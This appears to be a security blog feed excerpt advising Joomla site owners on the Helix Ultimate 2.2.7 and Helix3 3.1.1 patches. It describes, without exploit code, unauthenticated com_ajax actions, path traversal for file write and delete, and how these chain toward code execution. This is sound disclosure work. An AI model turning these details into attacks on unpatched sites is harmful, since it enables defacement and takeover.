&lt;p&gt;What this is, is an n-day risk: the moment a security fix ships, the patched code becomes a map. Anyone can line 2.2.7 up against the old version and work out exactly what each change is defending against, which is how a stored XSS or an unauthenticated write gets turned into a working exploit. That is the clock every unpatched site is now racing. The sibling framework shows what running out that clock looks like: Helix3’s own unauthenticated flaw, patched a week earlier, is now being mass-exploited in the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt;, defacing Joomla sites that never applied the fix.&lt;/p&gt;
&lt;h2&gt;The recurring pattern behind this&lt;/h2&gt;
&lt;p&gt;We keep writing about the same root cause because it keeps happening: an AJAX endpoint that Joomla will run for anyone, where the plugin checks a token, or nothing at all, but never checks who is actually calling it. A &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;CSRF token confirms the request came from your own page; it does not confirm the person is allowed to make it&lt;/a&gt;. Authorisation is a separate step, and it is the one that keeps getting left out.&lt;/p&gt;
&lt;p&gt;The same shape turned up in &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, in the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid framework&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, and in Helix3 the week before this one. Helix Ultimate 2.2.7 is the same lesson again, and the fix, a single shared guard that enforces both a token and a permission on every action, is the right one. If you develop Joomla extensions, that shared-guard pattern is the thing worth copying.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Find every Helix Ultimate install you run.&lt;/strong&gt; If you use mySites.guru, search your extension inventory for Helix Ultimate and you have the list in seconds. If you do not, you will need to check each site’s installed extensions by hand.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update every one of them to Helix Ultimate 2.2.7.&lt;/strong&gt; The update is live on JoomShaper’s update server and shows in the normal Joomla updater. The framework installs as more than one piece, so update everything Helix Ultimate the updater offers, not just one of them. Unpublishing the plugin is not enough on its own, because the files stay on the server and the AJAX endpoint can still be reached directly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not confuse Helix Ultimate with Helix3.&lt;/strong&gt; They are separate products with separate updates. This one is Helix Ultimate 2.2.7.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check exposed sites for tampering.&lt;/strong&gt; Because the flaws allowed menu writes and file deletes, a site left unpatched could already have been touched. Check your menus and mega menu settings for entries you did not add, confirm protective files like &lt;code&gt;.htaccess&lt;/code&gt; are still where they should be, and look at your Joomla Users list for Super User accounts you do not recognise. Our guides on &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt; walk through this.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you would rather not do any of that by hand across a portfolio of client sites, that is exactly the job mySites.guru exists for. One inventory, every site, every framework version, one click to update. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; and see what is actually installed across your sites.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-29&lt;/strong&gt; The other framework, Helix3, gets its own security release Helix3 3.1.1 closed a separate set of unauthenticated file-write and file-delete flaws. Different codebase, different version number, different update. If you run sites on both, each needs its own patch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-07&lt;/strong&gt; Helix Ultimate 2.2.7 ships as a substantial security release The security changes went in as a single pull request that was merged and tagged as the release within about two minutes of each other, so the code and the patch became public at the same instant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-07&lt;/strong&gt; What it actually closes is not obvious from the version number Missing login and permission checks restored across the framework&apos;s com_ajax handler, an unauthenticated write into your site&apos;s menus that leads to stored cross-site scripting in an admin session, an in-folder arbitrary file delete through a path-validation flaw, an open redirect, and tighter media uploads. No security advisory was published at the time, and the Joomla CNA assigned CVE-2026-57829 and CVE-2026-57830 on 13 July 2026. We confirmed the details by reading the public code difference, not from a compromised site, and no one has reported exploitation in the wild.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;The wider run of Joomla extension disclosures we made in a single month&lt;/a&gt; - where Helix Ultimate 2.2.7 sits among a dozen others.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;JoomShaper&apos;s third Joomla 3 security patch&lt;/a&gt; - what shipped on 27 August 2026, and why Joomla 3 sites cannot tell whether they have it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/template/helixultimate&quot;&gt;Download Helix Ultimate&lt;/a&gt; - JoomShaper&apos;s download page, where the 2.2.7 release and its full changelog live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot;&gt;Using the Joomla com_ajax interface&lt;/a&gt; - how the unauthenticated endpoint works.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/862.html&quot;&gt;CWE-862: Missing Authorization&lt;/a&gt; - the weakness class behind the missing permission checks.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-site Scripting&lt;/a&gt; - the weakness class behind the menu and Layout Builder XSS.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vel.joomla.org/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; - the community-run list of known Joomla extension issues.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>helix-ultimate</category><category>joomshaper</category><category>csrf</category><category>xss</category><enclosure url="https://mysites.guru/img/og/blog/helix-ultimate-security-update.png" length="0" type="image/png"/></item><item><title>Helix3 Shipped a Critical Fix as &quot;Security Update&quot;</title><link>https://mysites.guru/blog/helix3-security-update-changelog-failure/</link><guid isPermaLink="true">https://mysites.guru/blog/helix3-security-update-changelog-failure/</guid><description>Helix3 3.1.1 patches an unauthenticated file write and file delete in the Helix3 ajax plugin. JoomShaper announced it but told no one what it fixes.</description><pubDate>Mon, 29 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JoomShaper shipped Helix3 3.1.1 on 29 June 2026. The update fixes a serious security flaw: an attacker with no login at all could write files into your template, delete arbitrary files on your server, and overwrite your template settings, all through a single unauthenticated request. We found these issues while investigating a hacked mySites.guru customer site, and reported them privately under responsible disclosure.&lt;/p&gt;
&lt;p&gt;JoomShaper did tell people an update was available. They emailed users and they wrote a changelog entry. Credit where it is due, plenty of vulnerabilities get patched in total silence. The trouble is what those two announcements actually said.&lt;/p&gt;
&lt;p&gt;Here is the Helix3 3.1.1 changelog on JoomShaper’s own site, in full:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Helix3 3.1.1 changelog on JoomShaper, dated 29 June 2026, with a single update entry that reads &amp;quot;Security Update&amp;quot;&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 762px) 762px, 100vw&quot; width=&quot;762&quot; height=&quot;870&quot; src=&quot;https://mysites.guru/_astro/helix3-security-update-changelog-failure-changelog.D51xbh1E_9IjqM.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-security-update-changelog-failure-changelog.D51xbh1E_Z23cTH4.webp 640w, https://mysites.guru/_astro/helix3-security-update-changelog-failure-changelog.D51xbh1E_ZrWM20.webp 750w, https://mysites.guru/_astro/helix3-security-update-changelog-failure-changelog.D51xbh1E_9IjqM.webp 762w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Two words. “Security Update.” The email went a little further:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;JoomShaper email headed &amp;quot;Action Required: Security Update Now Available for Helix 3&amp;quot;, recommending all users apply v3.1.1 as soon as possible, with steps to update through the Joomla admin&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1334px) 1334px, 100vw&quot; width=&quot;1334&quot; height=&quot;1798&quot; src=&quot;https://mysites.guru/_astro/helix3-security-update-changelog-failure-email.B6jwetla_pWcSU.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-security-update-changelog-failure-email.B6jwetla_VWR8S.webp 640w, https://mysites.guru/_astro/helix3-security-update-changelog-failure-email.B6jwetla_ZxK6FK.webp 750w, https://mysites.guru/_astro/helix3-security-update-changelog-failure-email.B6jwetla_1SwjbB.webp 828w, https://mysites.guru/_astro/helix3-security-update-changelog-failure-email.B6jwetla_1dT8ny.webp 1080w, https://mysites.guru/_astro/helix3-security-update-changelog-failure-email.B6jwetla_VtIEN.webp 1280w, https://mysites.guru/_astro/helix3-security-update-changelog-failure-email.B6jwetla_pWcSU.webp 1334w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;“A focused security update we recommend all users apply as soon as possible.” That is better than the changelog, and the “Action Required” subject line is the right instinct. But put both side by side and the same gap remains: neither tells you what was fixed, how severe it is, or whether it is being exploited. If you manage Joomla sites for clients, you still cannot answer the only question that matters: do I patch tonight, or does it wait for the monthly maintenance window? That is the problem this post is really about.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Helix3 3.1.1 patches an unauthenticated file write, an unauthenticated arbitrary file delete, and an unauthenticated template-parameter overwrite in the Helix3 ajax plugin. The handler is reachable through Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; dispatcher and ran several actions before any token or permission check. It affects current Joomla (4, 5 and 6), not just legacy installs. JoomShaper announced the update by email and changelog, but neither says what was fixed or how serious it is. Update every Helix3 site to 3.1.1 now. If you manage more than a handful of Joomla sites, mySites.guru can list every Helix3 install in your account in seconds and push the update.&lt;/p&gt;
&lt;h2&gt;How to find every Helix3 site you manage with mySites.guru&lt;/h2&gt;
&lt;p&gt;The first question after any framework vulnerability is the hard one: which of my sites actually run this? A vendor email helps only if it reaches the right inbox and you connect it to the right sites. You still have to know where Helix3 is installed.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework installed on every Joomla and WordPress site in your account. You search for Helix3 once, and you get back every affected site, the version each one is running, and whether the 3.1.1 update is available, without logging into 40 admin panels one at a time or guessing at the state of each one.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your Helix3 installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f9a98dd0c859b437f8a18e53f4f37a99&quot;&gt;Open Helix3 Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla sites. Filter for anything below 3.1.1 to find the installations that still need updating.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;From that same list you can push the update to every affected site, so a vague vendor notice becomes a five-minute job across your whole account instead of an evening of manual work. If you are not a customer yet, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one site and see the extension inventory for yourself, or read how we &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;p&gt;That is the practical answer. The rest of this post is the detail JoomShaper’s changelog left out, so you can judge the severity yourself.&lt;/p&gt;
&lt;h2&gt;What Helix3 is, and what it is not&lt;/h2&gt;
&lt;p&gt;JoomShaper ships two products with confusingly similar names, and getting them mixed up will send you patching the wrong thing.&lt;/p&gt;
&lt;h3&gt;Helix3&lt;/h3&gt;
&lt;p&gt;The original template framework. It installs as a system plugin (&lt;code&gt;System - Helix3 Framework&lt;/code&gt;) plus a companion ajax plugin, &lt;code&gt;plg_ajax_helix3&lt;/code&gt;. This is what 3.1.1 patches. Despite the name and its age, it is not a Joomla 3 relic: the 3.1.1 update manifest declares compatibility with Joomla 4.0 through 6.5, and the patched code has explicit Joomla 5 and 6 branches. It runs on current Joomla.&lt;/p&gt;
&lt;h3&gt;Helix Ultimate&lt;/h3&gt;
&lt;p&gt;A separate, newer template with its own codebase and version numbers. It is not affected by this issue, though it had its own security release a week later: &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7&lt;/a&gt; fixed a different set of flaws in its own AJAX handler. If you run sites on both, each framework needs its own update.&lt;/p&gt;
&lt;p&gt;The vulnerable code is the &lt;code&gt;onAjaxHelix3&lt;/code&gt; handler inside the Helix3 ajax plugin.&lt;/p&gt;
&lt;h2&gt;What the bug actually did&lt;/h2&gt;
&lt;p&gt;Joomla has a built-in dispatcher called &lt;code&gt;com_ajax&lt;/code&gt; that lets plugins expose an endpoint at a predictable URL. It is a normal, useful feature. The catch is that &lt;code&gt;com_ajax&lt;/code&gt; will happily call a plugin’s handler for a completely anonymous visitor. Authorisation is the plugin’s job, not Joomla’s.&lt;/p&gt;
&lt;p&gt;In Helix3 before 3.1.1, the handler took an &lt;code&gt;action&lt;/code&gt; parameter and ran the matching code. Most of those actions did their work before checking a session token or a user permission. So an unauthenticated request could reach them. Three of them are dangerous:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;save&lt;/code&gt;&lt;/strong&gt; writes attacker-controlled content to a file under the active template. The filename is forced to end in &lt;code&gt;.json&lt;/code&gt;, but the path was not sanitised, so directory traversal let the file end up outside the intended layout folder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;remove&lt;/code&gt;&lt;/strong&gt; deletes a file. It applied no extension constraint and no path validation at all, so path traversal turned it into an arbitrary file delete: anything the web server user could reach.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;import&lt;/code&gt;&lt;/strong&gt; overwrites the stored parameters of any template style in the database.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There were more unguarded actions beyond those three (&lt;code&gt;load&lt;/code&gt;, &lt;code&gt;resetLayout&lt;/code&gt;, &lt;code&gt;updateFonts&lt;/code&gt;, &lt;code&gt;fontVariants&lt;/code&gt;), all reachable without authentication.&lt;/p&gt;
&lt;h3&gt;Is the file write remote code execution?&lt;/h3&gt;
&lt;p&gt;Not automatically, and this is worth being precise about because overclaiming helps no one. The write is constrained to a &lt;code&gt;.json&lt;/code&gt; extension. On a hardened host that is a serious integrity problem but not a guaranteed shell.&lt;/p&gt;
&lt;p&gt;It becomes code execution in two realistic situations. First, on server configurations that pass a file like &lt;code&gt;name.php.json&lt;/code&gt; to the PHP handler (some misconfigured Apache setups do exactly this). Second, the arbitrary-delete primitive can be chained with other upload paths to remove the protections, like a &lt;code&gt;.htaccess&lt;/code&gt; or an &lt;code&gt;index.html&lt;/code&gt;, that would otherwise stop a planted file from running. The arbitrary delete and the template-parameter overwrite are damaging in their own right on every host, regardless of whether you ever reach code execution.&lt;/p&gt;
&lt;h2&gt;The rest of the release: everything else 3.1.1 fixed&lt;/h2&gt;
&lt;p&gt;The unauthenticated file write is the headline, but it is not the whole release. Our review of the Helix3 ajax plugin turned up several more issues, and 3.1.1 closes all of them. None of the extra fixes are described anywhere public either. If you are weighing how urgent this update is, the full list is the answer: this is a security release with several distinct holes closed, not a single bug fix.&lt;/p&gt;
&lt;p&gt;Here is everything 3.1.1 changes, beyond the &lt;code&gt;save&lt;/code&gt;, &lt;code&gt;remove&lt;/code&gt; and &lt;code&gt;import&lt;/code&gt; actions already covered.&lt;/p&gt;
&lt;h3&gt;Image upload accepted any file type&lt;/h3&gt;
&lt;p&gt;The old upload action took the file extension straight from the uploaded filename, with no allow-list and no content check, then saved it. So a logged-in user with the common &lt;code&gt;core.create&lt;/code&gt; permission, an Author or Editor on many Joomla sites, could upload a &lt;code&gt;.php&lt;/code&gt; file and run it. That is a privilege escalation to code execution from a low-trust account. The new code restricts uploads to &lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt; and &lt;code&gt;webp&lt;/code&gt;, runs the name through &lt;code&gt;File::makeSafe&lt;/code&gt;, and verifies the file is actually an image with &lt;code&gt;getimagesize()&lt;/code&gt; before it is written.&lt;/p&gt;
&lt;h3&gt;The image delete action had the same traversal as &lt;code&gt;remove&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;It took a &lt;code&gt;src&lt;/code&gt; parameter and deleted it with no path validation, so it was a second route to arbitrary file deletion. The new code forces the path under the site’s &lt;code&gt;images&lt;/code&gt; folder and resolves it with &lt;code&gt;realpath()&lt;/code&gt; before deleting anything.&lt;/p&gt;
&lt;h3&gt;Output was not escaped, which is cross-site scripting&lt;/h3&gt;
&lt;p&gt;The font picker output, the uploaded-image markup, and the &lt;code&gt;data-&lt;/code&gt; attributes the framework builds were all emitted without escaping. An attacker who could influence any of those values could inject script into the admin’s browser. The new code runs them through &lt;code&gt;htmlspecialchars&lt;/code&gt;, and sanitises attribute keys.&lt;/p&gt;
&lt;h3&gt;A live Google Fonts API key was hardcoded in the source&lt;/h3&gt;
&lt;p&gt;The old &lt;code&gt;updateFonts&lt;/code&gt; action shipped with a real API key embedded in the plugin file, readable by anyone with the code. The new version removes it and reads the key from a template parameter instead. A leaked credential is a leaked credential, regardless of how the bug was found. JoomlArt shipped &lt;a href=&quot;https://mysites.guru/blog/t4-page-builder-2-3-0-mail-relay-fix/&quot;&gt;a live Mailchimp API key inside T4 Page Builder&lt;/a&gt; the same way, and removed it in 2.3.0 without mentioning it in the release notes at all.&lt;/p&gt;
&lt;h3&gt;The article-rating action could be spammed&lt;/h3&gt;
&lt;p&gt;Voting had no rate limit and no check that the article being rated existed or was published, so it could be hammered against arbitrary content IDs. The new code verifies the article, tracks votes per session, and rate-limits to five votes a minute.&lt;/p&gt;
&lt;p&gt;Add it up and 3.1.1 closes an unauthenticated file write, an arbitrary file delete (twice over), a template-settings overwrite, an authenticated-upload route to code execution, a stored XSS, a leaked API key, and a ratings-abuse hole. “Security Update” covers all of that in two words.&lt;/p&gt;
&lt;h2&gt;How 3.1.1 closes it&lt;/h2&gt;
&lt;p&gt;The fix is the right shape, which is reassuring. 3.1.0 trusted the request. 3.1.1 verifies it, and it does so consistently across every action. Here is the complete set of hardening in the release and what each piece addresses.&lt;/p&gt;





















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Hardening in 3.1.1&lt;/th&gt;&lt;th&gt;What it fixes&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Action allow-list, split into admin actions and public actions&lt;/td&gt;&lt;td&gt;Unknown actions get a 403; only &lt;code&gt;voting&lt;/code&gt; is treated as public&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;requireAuthorisedAdminRequest()&lt;/code&gt; checks &lt;code&gt;core.admin&lt;/code&gt; / &lt;code&gt;core.manage&lt;/code&gt; and a valid CSRF token on every admin action&lt;/td&gt;&lt;td&gt;Stops unauthenticated guests reaching &lt;code&gt;save&lt;/code&gt; / &lt;code&gt;remove&lt;/code&gt; / &lt;code&gt;import&lt;/code&gt; / font / upload / delete&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;requireValidToken()&lt;/code&gt; on the public &lt;code&gt;voting&lt;/code&gt; action&lt;/td&gt;&lt;td&gt;CSRF protection on the one guest-facing action&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;sanitizeLayoutName()&lt;/code&gt; (&lt;code&gt;basename&lt;/code&gt;, strict &lt;code&gt;a-z0-9_-&lt;/code&gt; pattern, strips &lt;code&gt;.json&lt;/code&gt;) plus &lt;code&gt;getLayoutFilePath()&lt;/code&gt; with a &lt;code&gt;realpath()&lt;/code&gt; containment check&lt;/td&gt;&lt;td&gt;Kills path traversal in the &lt;code&gt;save&lt;/code&gt; / &lt;code&gt;remove&lt;/code&gt; / &lt;code&gt;load&lt;/code&gt; layout file operations&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;getSafeMediaImagePath()&lt;/code&gt; rejects null bytes and &lt;code&gt;..&lt;/code&gt;, forces an &lt;code&gt;images/&lt;/code&gt; prefix, and requires the resolved path to stay under the site images folder&lt;/td&gt;&lt;td&gt;Kills the arbitrary file delete in &lt;code&gt;remove_image&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Upload validation: &lt;code&gt;File::makeSafe&lt;/code&gt;, &lt;code&gt;basename&lt;/code&gt;, an extension allow-list (&lt;code&gt;jpg&lt;/code&gt; / &lt;code&gt;jpeg&lt;/code&gt; / &lt;code&gt;png&lt;/code&gt; / &lt;code&gt;gif&lt;/code&gt; / &lt;code&gt;webp&lt;/code&gt;) and a &lt;code&gt;getimagesize()&lt;/code&gt; content check&lt;/td&gt;&lt;td&gt;Stops uploading &lt;code&gt;.php&lt;/code&gt; or other non-image files (the code-execution vector)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;import&lt;/code&gt; now verifies the template ID exists with &lt;code&gt;client_id = 0&lt;/code&gt;, validates and round-trips the JSON, and caps it at 1 MB&lt;/td&gt;&lt;td&gt;Stops arbitrary template-styles tampering and oversized payloads&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Size caps on layout content (1 MB) and import settings (1 MB)&lt;/td&gt;&lt;td&gt;Denial of service and abuse&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;htmlspecialchars&lt;/code&gt; escaping on font output, image output and &lt;code&gt;data-&lt;/code&gt; attributes, with attribute keys sanitised&lt;/td&gt;&lt;td&gt;Fixes stored and reflected cross-site scripting in the rendered output&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Hardcoded Google Fonts API key removed; the key now comes from a template parameter&lt;/td&gt;&lt;td&gt;Removes a leaked credential&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Voting rewritten: checks the article exists and is published, tracks votes per session, rate-limits to five votes a minute&lt;/td&gt;&lt;td&gt;Stops ratings spam and votes against arbitrary content IDs&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;The real issue: telling people to update is not telling them why&lt;/h2&gt;
&lt;p&gt;We did not go looking for this. We found it while investigating a hacked mySites.guru customer site, traced the compromise to the Helix3 ajax plugin, confirmed the flaw on a clean test install, reported it privately, and asked for the standard 90-day coordinated disclosure window. JoomShaper replied the next morning, were professional and gracious about it, and told us the fix had already shipped. They emailed users an “Action Required” notice and they wrote a changelog entry. On the process, they did more than many vendors do, and they deserve credit for a fast turnaround.&lt;/p&gt;
&lt;p&gt;So this is not a story about a vendor who said nothing. It is a story about a vendor who said “update” without saying why, which is a more common and more subtle failure.&lt;/p&gt;
&lt;p&gt;Look again at what a Helix3 user actually received. The changelog: “Security Update.” The email: “a focused security update we recommend all users apply as soon as possible.” Both true. Neither tells you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;whether this is a minor hardening tweak, or an unauthenticated remote file write&lt;/li&gt;
&lt;li&gt;whether it is being actively exploited right now&lt;/li&gt;
&lt;li&gt;whether you need to patch before you go to bed, or whether it can wait two weeks&lt;/li&gt;
&lt;li&gt;which component is even affected&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Put yourself in the seat of someone running 30 client sites on Helix3. “Apply as soon as possible” is what every release email says. With no severity attached, it competes for attention with every other “recommended” update in the queue, and busy people triage by deferring the ones they cannot size. So a critical, unauthenticated file-write fix gets treated like a routine point release, and every deferred site stays exploitable while the patched code sits in public for anyone to diff. That is no longer a hypothetical: since 5 July the flaw has been exploited at scale in the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt;, which mass-defaces unpatched Helix3 sites and hides its payload in the database rather than a file.&lt;/p&gt;
&lt;p&gt;This is not unique to JoomShaper, and that is exactly why it is worth saying out loud. We have written about the same root-cause &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;pattern of AJAX endpoints that check a token but not authorisation&lt;/a&gt; more than once, in &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;. The vulnerabilities get found and fixed. The communication keeps falling short.&lt;/p&gt;
&lt;p&gt;A security notice does not need to be a full CVE write-up. It needs four things: what was affected, how serious it is, whether exploitation is known, and whether you should act immediately. “Security Update” and “apply as soon as possible” give you only the last one, and a weak version of it. The Joomla ecosystem runs on thousands of small extension and template developers, and most of them are doing their best, but the bar for how a fix gets communicated has to be higher than “trust us, update.” We would like to start that conversation, openly, with the developer community.&lt;/p&gt;
&lt;p&gt;That conversation now has a starting point. In August 2026 the lead of the Joomla Security Strike Team proposed a Manual page setting out &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;twenty rules for extension developers handling a security report&lt;/a&gt;, and its point 17 says in plain terms that a security fix should not be hidden in vague language. This release is what that rule exists to prevent.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Find every Helix3 install you run.&lt;/strong&gt; If you use mySites.guru, search your extension inventory for Helix3 and you have the list in seconds. If you do not, you will need to check each site’s installed extensions by hand.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update every one of them to Helix3 3.1.1.&lt;/strong&gt; The update is live on JoomShaper’s update server and shows in the normal Joomla updater.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not confuse Helix3 with Helix Ultimate.&lt;/strong&gt; Only Helix3 needs this particular update. Helix Ultimate is a separate product with its own &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;2.2.7 security update&lt;/a&gt;, so if you run both, patch each one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check exposed sites for tampering.&lt;/strong&gt; Because the bug allowed file writes and deletes, a site left unpatched could already have been touched. Look for unexpected files under your template, missing protective files like &lt;code&gt;.htaccess&lt;/code&gt;, and unexplained changes to your template style parameters. Our guides on &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt; walk through this.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you would rather not do any of that by hand across a portfolio of client sites, that is the job mySites.guru exists for. One inventory, every site, every framework version, one click to update. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; and see what is actually installed across your sites.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;A CVE for this vulnerability is pending, crediting Phil Taylor of mySites.guru as the reporter. We will add the identifier here once it is assigned. In the meantime, the fixed version is the authoritative reference: if you are on Helix3 3.1.1 or later, you have the patch.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06&lt;/strong&gt; Before disclosure: a hacked customer site leads us to the plugin While investigating a compromised mySites.guru customer site we trace the entry to the Helix3 ajax plugin and confirm the flaw on a clean test install.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-28&lt;/strong&gt; We report three unauthenticated flaws privately An unauthenticated file write, an arbitrary file delete and a template-parameter overwrite, all in the Helix3 ajax plugin, reported to JoomShaper with the proof of concept withheld and a 90 day window requested.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-29&lt;/strong&gt; JoomShaper replies that 3.1.1 is already out The vendor says the issue is already addressed and a patched version has been released, and notes that a temporary outage had delayed their usual security announcement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-29&lt;/strong&gt; The release goes out described only as &quot;Security Update&quot; JoomShaper emails users an &quot;Action Required&quot; notice and publishes the 3.1.1 changelog. Both recommend updating and neither describes the vulnerability, so a critical unauthenticated file write competes for attention with every routine point release. We forward the exchange to the Joomla security team.&lt;/li&gt;
